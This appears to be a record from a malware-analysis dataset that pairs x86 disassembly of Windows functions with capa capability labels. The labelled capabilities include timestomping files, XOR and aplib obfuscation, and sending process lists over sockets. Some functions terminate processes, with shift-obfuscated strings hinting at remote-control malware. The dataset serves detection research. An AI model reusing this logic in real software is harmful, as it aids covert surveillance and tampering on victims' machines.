joyce8/EMBER2024-capa huggingface dataset:
Function at 0x50afd0
Capabilities:
Timestomp file

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe0
push ebx
push esi
push edi
mov esi, dword [ebp + 0xc]
mov eax, dword [ebp + 8]
push eax
call fcn.00509bf0
pop ecx
mov edi, eax
cmp eax, 0xffffffff
jne 0x50aff2
or eax, 0xffffffff
jmp 0x50b069
test esi, esi
jne 0x50b01a
lea edx, [ebp - 0x20]
push edx
call sub.KERNEL32.DLL_GetLocalTime
lea ecx, [ebp - 8]
push ecx
lea eax, [ebp - 0x20]
push eax
call sub.KERNEL32.DLL_SystemTimeToFileTime
mov edx, dword [ebp - 8]
mov dword [ebp - 0x10], edx
mov edx, dword [ebp - 4]
mov dword [ebp - 0xc], edx
jmp 0x50b047
lea ecx, [ebp - 8]
push ecx
mov eax, dword [esi]
push eax
call fcn.0050ae70
add esp, 8
mov ebx, eax
cmp eax, 1
jne 0x50b05b
lea edx, [ebp - 0x10]
push edx
mov ecx, dword [esi + 4]
push ecx
call fcn.0050ae70
add esp, 8
mov ebx, eax
cmp eax, 1
jne 0x50b05b
lea edx, [ebp - 0x10]
push edx
lea ecx, [ebp - 8]
push ecx
lea eax, [ebp - 0x10]
push eax
push edi
call sub.KERNEL32.DLL_SetFileTime
mov ebx, eax
cmp ebx, 1
jne 0x50b064
xor eax, eax
jmp 0x50b069
call fcn.005097c0
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x50d17c
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffe00
push ebx
push esi
push edi
mov esi, dword [ebp + 0xc]
mov ebx, dword [ebp + 8]
push 0x200
lea eax, [ebp - 0x200]
push eax
push 0x1001
mov edx, dword [ebx + 4]
push edx
call sub.KERNEL32.DLL_GetLocaleInfoA
push str._._n
lea ecx, [ebp - 0x200]
push ecx
call fcn.00506a78
add esp, 8
lea eax, [ebp - 0x200]
push eax
call fcn.00506b84
pop ecx
mov edx, 0x200
sub edx, eax
push edx
lea ecx, [ebp - 0x200]
push ecx
call fcn.00506b84
pop ecx
lea edx, [ebp - 0x200]
add eax, edx
push eax
push 0x1002
mov eax, dword [ebx + 4]
push eax
call sub.KERNEL32.DLL_GetLocaleInfoA
push 0x5575b9
lea ecx, [ebp - 0x200]
push ecx
call fcn.00506a78
add esp, 8
push 0xa
lea eax, [ebp - 0x200]
push eax
call fcn.00506b84
pop ecx
lea edx, [ebp - 0x200]
add eax, edx
push eax
mov ecx, dword [ebx]
push ecx
call fcn.0050e514
add esp, 0xc
cmp dword [ebx + 0x24], 0
jne 0x50d28d
push esi
call fcn.00506b84
pop ecx
mov edi, eax
lea eax, [ebp - 0x200]
push eax
call fcn.00506b84
pop ecx
add edi, eax
add edi, 3
push edi
call fcn.005053f0
pop ecx
mov edi, eax
mov dword [ebx + 0x24], edi
test edi, edi
jne 0x50d264
xor eax, eax
jmp 0x50d314
push esi
call fcn.00506b84
pop ecx
push eax
lea edx, [ebp - 0x200]
push edx
call fcn.00506b84
pop ecx
pop ecx
add ecx, eax
add ecx, 3
push ecx
push 0
push edi
call fcn.005069d4
add esp, 0xc
jmp 0x50d2cd
mov edi, dword [ebx + 0x24]
push edi
call fcn.00506b84
pop ecx
push eax
push esi
call fcn.00506b84
pop ecx
pop edx
add edx, eax
push edx
lea eax, [ebp - 0x200]
push eax
call fcn.00506b84
pop ecx
pop ecx
add ecx, eax
add ecx, 3
push ecx
push edi
call fcn.00505410
add esp, 8
mov dword [ebx + 0x24], eax
cmp dword [ebx + 0x24], 0
jne 0x50d2cd
xor eax, eax
jmp 0x50d314
push esi
mov edx, dword [ebx + 0x24]
push edx
call fcn.00506a78
add esp, 8
push 0x5575bb
mov ecx, dword [ebx + 0x24]
push ecx
call fcn.00506a78
add esp, 8
lea eax, [ebp - 0x200]
push eax
mov edx, dword [ebx + 0x24]
push edx
call fcn.00506a78
add esp, 8
push 0x5575bd
mov ecx, dword [ebx + 0x24]
push ecx
call fcn.00506a78
add esp, 8
mov eax, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x510758
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, dword [ebp + 0xc]
push 0
push 0x80
push 2
push 0
push 0
push 0xc0000000
mov eax, dword [ebp + 8]
push eax
call sub.KERNEL32.DLL_CreateFileA
mov ebx, eax
test eax, eax
je 0x5107ba
call fcn.00510708
mov esi, eax
lea eax, [ebp - 4]
push 0
push eax
push esi
call fcn.00506b84
pop ecx
push eax
push esi
push ebx
call sub.KERNEL32.DLL_WriteFile
push 0
lea edx, [ebp - 4]
push edx
push edi
call fcn.00506b84
pop ecx
push eax
push edi
push ebx
call sub.KERNEL32.DLL_WriteFile
push ebx
call sub.KERNEL32.DLL_CloseHandle
pop edi
pop esi
pop ebx
pop ecx
pop ebp
ret
Function at 0x510838
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff7c
cmp dword [0x557bc8], 0
push ebx
push esi
mov esi, dword [ebp + 8]
jne 0x510912
cmp dword [0x557bc4], 0
jne 0x510912
cmp dword [0x557dc8], 0
je 0x5108cc
push 0x80
lea eax, [ebp - 0x84]
push eax
push 0
call sub.KERNEL32.DLL_GetModuleFileNameA
push 0x5c
lea edx, [ebp - 0x84]
push edx
call fcn.005105e8
add esp, 8
mov ebx, eax
test eax, eax
jne 0x5108b2
push 0x3a
lea edx, [ebp - 0x84]
push edx
call fcn.005105e8
add esp, 8
mov ebx, eax
test eax, eax
jne 0x5108b2
lea ebx, [ebp - 0x84]
jmp 0x5108b3
inc ebx
call fcn.005107f4
or eax, 0x10010
push eax
push ebx
push esi
push 0
call sub.USER32.DLL_MessageBoxA
jmp 0x51094d
push 0xfffffffffffffff4
call sub.KERNEL32.DLL_GetStdHandle
mov ebx, eax
lea eax, [ebp - 4]
push 0
push eax
push 2
push 0x557bcc
push ebx
call sub.KERNEL32.DLL_WriteFile
push 0
lea edx, [ebp - 4]
push edx
push esi
call fcn.00506b84
pop ecx
push eax
push esi
push ebx
call sub.KERNEL32.DLL_WriteFile
push 0
lea ecx, [ebp - 4]
push ecx
push 2
push 0x557bcf
push ebx
call sub.KERNEL32.DLL_WriteFile
jmp 0x51094d
cmp dword [0x557bc4], 0
je 0x51092c
cmp dword [0x557bc4], 0xffffffff
je 0x51094d
push esi
call dword [0x557bc4]
pop ecx
mov eax, dword [0x557bc8]
test eax, eax
je 0x51094d
cmp dword [0x557bc8], 0xffffffff
je 0x51094d
cmp byte [eax], 0
je 0x51094d
push esi
push eax
call fcn.00510758
add esp, 8
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x5165c0
Capabilities:
Print debug messages

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffff004
push eax
lea eax, [ebp + 0xc]
push eax
mov edx, dword [ebp + 8]
push edx
push 0x1000
lea ecx, [ebp - 0x1000]
push ecx
call fcn.0050a860
add esp, 0x10
lea eax, [ebp - 0x1000]
push eax
call sub.KERNEL32.DLL_OutputDebugStringA
mov esp, ebp
pop ebp
ret
Function at 0x517d88
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffdc
push ebx
lea ebx, [ebp + 8]
mov eax, 0x55a2e4
call fcn.00506ee8
mov word [ebp - 0x14], 8
mov edx, 0x55a4f8
mov ecx, dword [ebx]
mov dword [ecx], edx
mov eax, dword [ebx]
xor edx, edx
mov dword [eax + 4], edx
mov ecx, dword [ebx]
xor eax, eax
mov dword [ecx + 8], eax
mov edx, dword [ebx]
xor ecx, ecx
mov dword [edx + 0xc], ecx
mov eax, dword [ebx]
xor edx, edx
mov dword [eax + 0x10], edx
mov ecx, dword [ebx]
xor eax, eax
mov dword [ecx + 0x14], eax
mov edx, dword [ebx]
xor ecx, ecx
mov dword [edx + 0x18], ecx
mov eax, dword [ebx]
xor edx, edx
mov dword [eax + 0x1c], edx
mov ecx, dword [ebx]
add ecx, 0x20
push ecx
call fcn.0053d73c
pop ecx
inc dword [ebp - 8]
mov eax, dword [ebx]
xor edx, edx
mov dword [eax + 0x24], edx
mov ecx, dword [ebx]
xor eax, eax
mov dword [ecx + 0x28], eax
mov edx, dword [ebx]
xor ecx, ecx
mov dword [edx + 0x2c], ecx
mov eax, dword [ebx]
xor edx, edx
mov dword [eax + 0x30], edx
mov ecx, dword [ebx]
xor eax, eax
mov dword [ecx + 0x34], eax
mov edx, dword [ebx]
xor ecx, ecx
mov dword [edx + 0x38], ecx
mov eax, dword [ebx]
xor edx, edx
mov dword [eax + 0x3c], edx
mov ecx, dword [ebx]
xor eax, eax
mov dword [ecx + 0x40], eax
mov edx, dword [ebx]
xor ecx, ecx
mov dword [edx + 0x44], ecx
mov eax, dword [ebx]
add eax, 0x4c
push eax
call fcn.004144b8
pop ecx
add dword [ebp - 8], 4
mov edx, dword [ebp - 0x24]
mov dword fs:[0], edx
mov eax, dword [ebx]
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x51bd48
Capabilities:
Get file size

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
lea eax, [ebp - 4]
push eax
mov edx, dword [ebp + 8]
push edx
call sub.KERNEL32.DLL_GetFileSize
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0xffffffff
jne 0x51bd71
call sub.KERNEL32.DLL_GetLastError
test eax, eax
je 0x51bd71
xor eax, eax
jmp 0x51bd74
mov eax, dword [ebp - 8]
pop ecx
pop ecx
pop ebp
ret

Function at 0x51bd78
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffb8
mov eax, 0x55b0b0
push ebx
mov ebx, dword [ebp + 8]
call fcn.00506ee8
mov dword [ebx], 0xffffffff
xor edx, edx
mov dword [ebx + 8], edx
mov byte [ebx + 0xc], 0
mov byte [ebx + 0xd], 0
cmp dword [0x55b0ac], 0
jne 0x51bdb9
lea ecx, [ebp - 0x48]
push ecx
call sub.KERNEL32.DLL_GetSystemInfo
mov eax, dword [ebp - 0x44]
mov dword [0x55b0ac], eax
xor edx, edx
mov dword [ebx + 4], edx
cmp dword [0x55b0ac], 0
ja 0x51bdd1
mov dword [0x55b0ac], 0x1000
mov ecx, dword [ebp - 0x24]
mov dword fs:[0], ecx
mov eax, ebx
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x51bfc8
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
push esi
push edi
mov esi, dword [ebp + 8]
push 0
lea eax, [ebp - 4]
push eax
mov edx, dword [ebp + 0x10]
push edx
mov ecx, dword [ebp + 0xc]
push ecx
mov eax, dword [esi]
push eax
call sub.KERNEL32.DLL_ReadFile
test byte [esi + 8], 4
jne 0x51c098
cmp dword [ebp - 4], 0
je 0x51c098
mov edi, dword [ebp + 0xc]
mov eax, dword [ebp + 0xc]
add eax, dword [ebp - 4]
dec eax
mov dword [ebp - 8], eax
mov ebx, dword [ebp + 0xc]
jmp 0x51c06d
mov al, byte [ebx]
movsx edx, al
cmp edx, 0xd
je 0x51c01f
mov byte [edi], al
inc edi
jmp 0x51c06c
cmp ebx, dword [ebp - 8]
jae 0x51c033
movsx ecx, byte [ebx + 1]
cmp ecx, 0xa
je 0x51c06c
mov byte [edi], 0xd
inc edi
jmp 0x51c06c
mov byte [ebp - 9], 0x20
lea eax, [ebp - 0x10]
push 0
push eax
lea edx, [ebp - 9]
push 1
push edx
mov ecx, dword [esi]
push ecx
call sub.KERNEL32.DLL_ReadFile
cmp dword [ebp - 0x10], 0
je 0x51c05f
push 1
push 0
push 0xffffffffffffffff
mov eax, dword [esi]
push eax
call sub.KERNEL32.DLL_SetFilePointer
movsx edx, byte [ebp - 9]
cmp edx, 0xa
je 0x51c06c
mov byte [edi], 0xd
inc edi
inc ebx
cmp ebx, dword [ebp - 8]
ja 0x51c07a
movsx ecx, byte [ebx]
cmp ecx, 0x1a
jne 0x51c010
cmp ebx, dword [ebp - 8]
ja 0x51c092
push 1
push 0
mov eax, dword [ebp - 8]
inc eax
sub eax, ebx
push eax
mov edx, dword [esi]
push edx
call sub.KERNEL32.DLL_SetFilePointer
sub edi, dword [ebp + 0xc]
mov dword [ebp - 4], edi
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x51c0a4
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffff004
push eax
add esp, 0xffffffd4
push ebx
push esi
push edi
mov eax, dword [ebp + 8]
test byte [eax + 8], 1
je 0x51c0cd
push 4
push 0
mov edx, dword [ebp + 8]
push edx
call fcn.0051c21c
add esp, 0xc
mov ecx, dword [ebp + 8]
test byte [ecx + 8], 4
je 0x51c0f7
push 0
lea eax, [ebp - 4]
push eax
mov edx, dword [ebp + 0x10]
push edx
mov ecx, dword [ebp + 0xc]
push ecx
mov eax, dword [ebp + 8]
mov edx, dword [eax]
push edx
call sub.KERNEL32.DLL_WriteFile
mov eax, dword [ebp - 4]
jmp 0x51c1ec
mov esi, dword [ebp + 0xc]
lea eax, [ebp - 0x2c]
mov dword [ebp - 8], eax
lea ebx, [ebp - 0x102c]
mov edx, dword [ebp + 0xc]
add edx, dword [ebp + 0x10]
mov dword [ebp - 0xc], edx
mov dword [ebp - 0x10], 0x1000
mov ecx, dword [ebp - 0x10]
cmp ecx, dword [ebp + 0x10]
jge 0x51c123
lea eax, [ebp - 0x10]
jmp 0x51c126
lea eax, [ebp + 0x10]
mov edi, dword [eax]
jmp 0x51c178
mov edi, dword [ebp - 0x14]
sub edi, esi
push edi
push esi
push ebx
call fcn.00506964
add ebx, edi
xor ecx, ecx
inc edi
add esp, 0xc
mov byte [ebx], 0xd
inc ebx
add esi, edi
mov byte [ebx], 0xa
inc ebx
mov edx, dword [ebp - 8]
sub edx, ebx
mov dword [ebp - 0x18], edx
mov dword [ebp - 0x1c], ecx
mov eax, dword [ebp - 0x1c]
cmp eax, dword [ebp - 0x18]
jge 0x51c161
lea eax, [ebp - 0x18]
jmp 0x51c164
lea eax, [ebp - 0x1c]
mov edx, dword [ebp - 0xc]
sub edx, esi
mov dword [ebp - 0x20], edx
mov ecx, dword [eax]
cmp ecx, dword [ebp - 0x20]
jl 0x51c176
lea eax, [ebp - 0x20]
mov edi, dword [eax]
test edi, edi
jle 0x51c18f
push edi
push 0xa
push esi
call fcn.00506c7d
add esp, 0xc
mov dword [ebp - 0x14], eax
test eax, eax
jne 0x51c12a
test edi, edi
jle 0x51c1a2
push edi
push esi
push ebx
call fcn.00506964
add esp, 0xc
add ebx, edi
add esi, edi
lea eax, [ebp - 0x102c]
mov dword [ebp - 0x24], eax
sub ebx, eax
test ebx, ebx
je 0x51c1e7
push 0
lea edx, [ebp - 0x28]
push edx
mov edi, ebx
push edi
mov eax, dword [ebp - 0x24]
push eax
mov edx, dword [ebp + 8]
mov ecx, dword [edx]
push ecx
call sub.KERNEL32.DLL_WriteFile
cmp edi, dword [ebp - 0x28]
je 0x51c1e7
cmp dword [ebp - 0x28], 0
jne 0x51c1d8
xor eax, eax
jmp 0x51c212
mov edx, dword [ebp - 0x28]
add dword [ebp - 0x24], edx
sub edi, dword [ebp - 0x28]
mov ebx, edi
test ebx, ebx
jne 0x51c1b1
mov eax, esi
sub eax, dword [ebp + 0xc]
cmp eax, dword [ebp + 0x10]
jne 0x51c1f5
mov al, 1
jmp 0x51c212
test eax, eax
jle 0x51c209
cmp eax, dword [ebp + 0x10]
jge 0x51c209
sub dword [ebp + 0x10], eax
add dword [ebp + 0xc], eax
jmp 0x51c0b4
xor eax, eax
jmp 0x51c212
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x51c2ac
Capabilities:
Read file via mapping

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov edi, dword [ebp + 0xc]
mov ebx, dword [ebp + 8]
push 0
push 0
push 0
push 2
push 0
mov eax, dword [ebx]
push eax
call sub.KERNEL32.DLL_CreateFileMappingA
mov esi, eax
mov dword [ebx + 4], esi
test esi, esi
je 0x51c318
mov eax, dword [ebp + 0x10]
mov edx, edi
and edx, 0xffffffff
push eax
mov eax, edi
push edx
cdq
mov eax, edx
xor edx, edx
push eax
push 4
push esi
call sub.KERNEL32.DLL_MapViewOfFile
mov esi, eax
test esi, esi
je 0x51c306
push 1
add edi, dword [ebp + 0x10]
push edi
push ebx
call fcn.0051c21c
add esp, 0xc
test eax, eax
jge 0x51c31a
mov edx, dword [ebp + 0x10]
push edx
push esi
push ebx
call fcn.0051c324
add esp, 0xc
xor esi, esi
jmp 0x51c31a
xor esi, esi
mov eax, esi
pop edi
pop esi
pop ebx
pop ebp
ret
Function at 0x49436d
Capabilities:
Decompress data using aplib

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x18
mov al, byte [ecx]
and dword [esp + 0x14], 0
push ebx
push ebp
mov byte [edx], al
lea eax, [edx + 1]
push esi
mov dword [esp + 0x18], eax
push edi
mov dword [esp + 0x14], edx
mov esi, dword [esp + 0x14]
lea eax, [ecx + 1]
xor edi, edi
xor ebp, ebp
mov dword [esp + 0x18], eax
lea ecx, [esp + 0x18]
call fcn.00494316
test eax, eax
je 0x4944c6
lea ecx, [esp + 0x18]
call fcn.00494316
lea ecx, [esp + 0x18]
test eax, eax
je 0x494435
call fcn.00494316
test eax, eax
je 0x4943f7
push 4
xor edi, edi
pop ebx
lea ecx, [esp + 0x18]
call fcn.00494316
lea edi, [eax + edi*2]
dec ebx
jne 0x4943cd
mov edx, dword [esp + 0x1c]
test edi, edi
je 0x4943ee
mov eax, edx
sub eax, edi
mov al, byte [eax]
mov byte [edx], al
jmp 0x4943f1
mov byte [edx], 0
inc edx
jmp 0x4944d8
mov eax, dword [esp + 0x18]
mov edx, dword [esp + 0x1c]
movzx esi, byte [eax]
mov ecx, esi
and ecx, 1
inc eax
add ecx, 2
shr esi, 1
mov dword [esp + 0x18], eax
je 0x49442d
test ecx, ecx
je 0x4944c1
mov edi, edx
sub edi, esi
mov al, byte [edi]
mov byte [edx], al
inc edx
inc edi
dec ecx
jne 0x49441f
jmp 0x4944bd
xor ebp, ebp
inc ebp
jmp 0x4944c1
call fcn.0049434c
test edi, edi
jne 0x49446a
cmp eax, 2
jne 0x494465
lea ecx, [esp + 0x18]
call fcn.0049434c
mov edx, dword [esp + 0x1c]
mov edi, eax
test edi, edi
je 0x4944c1
mov ecx, edx
sub ecx, esi
mov al, byte [ecx]
mov byte [edx], al
inc edx
inc ecx
dec edi
jne 0x49445a
jmp 0x4944bd
sub eax, 3
jmp 0x49446d
sub eax, 2
mov ecx, dword [esp + 0x18]
mov esi, eax
movzx eax, byte [ecx]
shl esi, 8
add esi, eax
inc ecx
mov dword [esp + 0x18], ecx
lea ecx, [esp + 0x18]
call fcn.0049434c
mov ecx, eax
cmp esi, 0x7d00
jb 0x494494
inc ecx
cmp esi, 0x500
jb 0x49449d
inc ecx
cmp esi, 0x80
jae 0x4944a8
add ecx, 2
mov edx, dword [esp + 0x1c]
test ecx, ecx
je 0x4944c1
mov edi, edx
sub edi, esi
mov al, byte [edi]
mov byte [edx], al
inc edx
inc edi
dec ecx
jne 0x4944b4
mov dword [esp + 0x1c], edx
xor edi, edi
inc edi
jmp 0x4944de
mov ecx, dword [esp + 0x18]
mov edx, dword [esp + 0x1c]
mov al, byte [ecx]
mov byte [edx], al
inc edx
inc ecx
mov dword [esp + 0x18], ecx
xor edi, edi
mov dword [esp + 0x1c], edx
test ebp, ebp
je 0x49439d
sub edx, dword [esp + 0x14]
pop edi
mov eax, edx
pop esi
pop ebp
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x494663
Capabilities:
Encode data using xor

Disassembly:
push ebx
push esi
push edi
mov edi, edx
mov ebx, edi
shr ebx, 2
and edi, 3
mov esi, ecx
test ebx, ebx
je 0x494695
mov al, byte [esp + 0x14]
mov edx, dword [esi]
add al, bl
movzx ecx, al
mov eax, dword [esp + 0x10]
ror edx, cl
xor edx, eax
sub edx, ebx
mov dword [esi], edx
add esi, 4
dec ebx
jne 0x494676
jmp 0x494699
mov eax, dword [esp + 0x10]
test edi, edi
je 0x4946a3
xor byte [esi], al
inc esi
dec edi
jne 0x49469d
pop edi
pop esi
pop ebx
ret 0xc
Function at 0x4010b0
Capabilities:
Enumerate processes
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c8
mov eax, dword [0x41f004]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push 0x228
mov dword [ebp - 0x4c0], eax
lea eax, [ebp - 0x4b8]
push 0
push eax
mov dword [ebp - 0x4c4], edx
mov dword [ebp - 0x4c8], ecx
call fcn.00404260
mov ax, word [0x41d830]
add esp, 0xc
movq xmm0, qword [str.007SULYPVJ]
mov word [ebp - 8], ax
mov al, byte [0x41d832]
mov byte [ebp - 6], al
mov eax, dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
movq qword [ebp - 0x10], xmm0
test eax, eax
je 0x4012b3
push esi
mov esi, dword [sym.imp.KERNEL32.dll_Process32FirstW]
test esi, esi
je 0x4012a2
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_Process32NextW]
test ebx, ebx
je 0x401290
push edi
push 0
push 2
call eax
mov edi, eax
cmp edi, 0xffffffff
je 0x40127d
lea eax, [ebp - 0x4bc]
mov dword [ebp - 0x4bc], 0x22c
push eax
push edi
call esi
test eax, eax
je 0x40127d
mov esi, dword [sym.imp.WS2_32.dll_send]
nop dword [eax]
push 0x200
lea eax, [ebp - 0x290]
push 0
push eax
call fcn.00404260
push 0x80
lea eax, [ebp - 0x90]
push 0
push eax
call fcn.00404260
xor eax, eax
add esp, 0x18
cmp word [ebp - 0x498], ax
je 0x4011f1
mov ebx, 0xff
lea edx, [ebx - 0x7f]
nop dword [eax]
cmp eax, 0x7f
jae 0x4011eb
movzx ecx, word [ebp + eax*2 - 0x498]
cmp cx, dx
jae 0x4011cb
mov byte [ebp + eax - 0x90], cl
jmp 0x4011df
add ecx, 0x2800
mov byte [ebp + eax - 0x90], 0x3f
cmp cx, bx
ja 0x4011df
inc eax
inc eax
cmp word [ebp + eax*2 - 0x498], 0
jne 0x4011b0
mov ebx, dword [sym.imp.KERNEL32.dll_Process32NextW]
push dword [ebp - 0x4c0]
mov byte [ebp + eax - 0x90], 0
lea eax, [ebp - 0x90]
push eax
call fcn.00403e10
add esp, 8
test eax, eax
je 0x40126b
lea eax, [ebp - 0x90]
push eax
push dword [ebp - 0x4b4]
lea ecx, [ebp - 0x10]
push dword [ebp - 0x4c4]
call section..text
push eax
lea eax, [ebp - 0x290]
push str._s__s___:_5d____s_n
push eax
call fcn.00401070
lea ecx, [ebp - 0x290]
add esp, 0x18
lea edx, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x401250
push 0
sub ecx, edx
lea eax, [ebp - 0x290]
push ecx
push eax
push dword [ebp - 0x4c8]
call esi
lea eax, [ebp - 0x4bc]
push eax
push edi
call ebx
test eax, eax
jne 0x401170
pop edi
pop ebx
xor eax, eax
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004031d1
mov esp, ebp
pop ebp
ret
pop ebx
xor eax, eax
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004031d1
mov esp, ebp
pop ebp
ret
xor eax, eax
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004031d1
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
xor eax, eax
xor ecx, ebp
call fcn.004031d1
mov esp, ebp
pop ebp
ret
Function at 0x402010
Capabilities:
Send data
Send data on socket
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x22c
mov eax, dword [0x41f004]
xor eax, ebp
mov dword [ebp - 4], eax
mov ax, word [0x41d830]
movq xmm0, qword [str.007SULYPVJ]
push ebx
push esi
mov word [ebp - 8], ax
mov esi, edx
movzx eax, byte [0x41d832]
mov ebx, ecx
push edi
mov edi, dword [ebp + 8]
movq qword [ebp - 0x10], xmm0
movups xmm0, xmmword [str.021derxw_wr_nloo_surfhvv]
mov byte [ebp - 6], al
movzx eax, byte [0x41d958]
push 0x200
mov byte [ebp - 0x14], al
lea eax, [ebp - 0x22c]
movups xmmword [ebp - 0x2c], xmm0
push 0
movq xmm0, qword [0x41d950]
push eax
movq qword [ebp - 0x1c], xmm0
call fcn.00404260
add esp, 0xc
lea ecx, [ebp - 0x2c]
push edi
call section..text
push eax
push esi
lea ecx, [ebp - 0x10]
call section..text
push eax
lea eax, [ebp - 0x22c]
push str._s__s_:__s__4d
push eax
call fcn.00401070
lea eax, [ebp - 0x22c]
add esp, 0x18
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4020b7
push 0
sub eax, edx
push eax
lea eax, [ebp - 0x22c]
push eax
push ebx
call dword [sym.imp.WS2_32.dll_send]
push edi
push 0
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
test esi, esi
je 0x40210c
push 0
push esi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
test eax, eax
jne 0x40210c
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
xor eax, eax
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004031d1
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
mov eax, 1
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004031d1
mov esp, ebp
pop ebp
ret
Function at 0x402130
Capabilities:
Enumerate processes
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c4
mov eax, dword [0x41f004]
xor eax, ebp
mov dword [ebp - 4], eax
push 0x228
lea eax, [ebp - 0x4b8]
mov dword [ebp - 0x4c0], edx
push 0
push eax
mov dword [ebp - 0x4c4], ecx
call fcn.00404260
mov eax, dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
add esp, 0xc
test eax, eax
je 0x402305
push esi
mov esi, dword [sym.imp.KERNEL32.dll_Process32FirstW]
test esi, esi
je 0x4022f4
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_Process32NextW]
test ebx, ebx
je 0x4022e2
push edi
push 0
push 2
call eax
mov edi, eax
cmp edi, 0xffffffff
je 0x4022cf
lea eax, [ebp - 0x4bc]
mov dword [ebp - 0x4bc], 0x22c
push eax
push edi
call esi
test eax, eax
je 0x4022cf
mov ax, word [0x41d830]
movq xmm0, qword [str.007SULYPVJ]
mov esi, dword [sym.imp.WS2_32.dll_send]
mov word [ebp - 8], ax
mov al, byte [0x41d832]
movq qword [ebp - 0x10], xmm0
mov byte [ebp - 6], al
push 0x200
lea eax, [ebp - 0x290]
push 0
push eax
call fcn.00404260
push 0x80
lea eax, [ebp - 0x90]
push 0
push eax
call fcn.00404260
xor eax, eax
add esp, 0x18
cmp word [ebp - 0x498], ax
je 0x402261
mov ebx, 0xff
lea edx, [ebx - 0x7f]
nop
cmp eax, 0x7f
jae 0x40225b
movzx ecx, word [ebp + eax*2 - 0x498]
cmp cx, dx
jae 0x40223b
mov byte [ebp + eax - 0x90], cl
jmp 0x40224f
add ecx, 0x2800
mov byte [ebp + eax - 0x90], 0x3f
cmp cx, bx
ja 0x40224f
inc eax
inc eax
cmp word [ebp + eax*2 - 0x498], 0
jne 0x402220
mov ebx, dword [sym.imp.KERNEL32.dll_Process32NextW]
mov byte [ebp + eax - 0x90], 0
lea ecx, [ebp - 0x10]
lea eax, [ebp - 0x90]
push eax
push dword [ebp - 0x4b4]
push dword [ebp - 0x4c0]
call section..text
push eax
lea eax, [ebp - 0x290]
push str._s__s___:_5d____s_n
push eax
call fcn.00401070
lea ecx, [ebp - 0x290]
add esp, 0x18
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4022a2
push 0
sub ecx, edx
lea eax, [ebp - 0x290]
push ecx
push eax
push dword [ebp - 0x4c4]
call esi
lea eax, [ebp - 0x4bc]
push eax
push edi
call ebx
test eax, eax
jne 0x4021e3
pop edi
pop ebx
xor eax, eax
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004031d1
mov esp, ebp
pop ebp
ret
pop ebx
xor eax, eax
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004031d1
mov esp, ebp
pop ebp
ret
xor eax, eax
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004031d1
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
xor eax, eax
xor ecx, ebp
call fcn.004031d1
mov esp, ebp
pop ebp
ret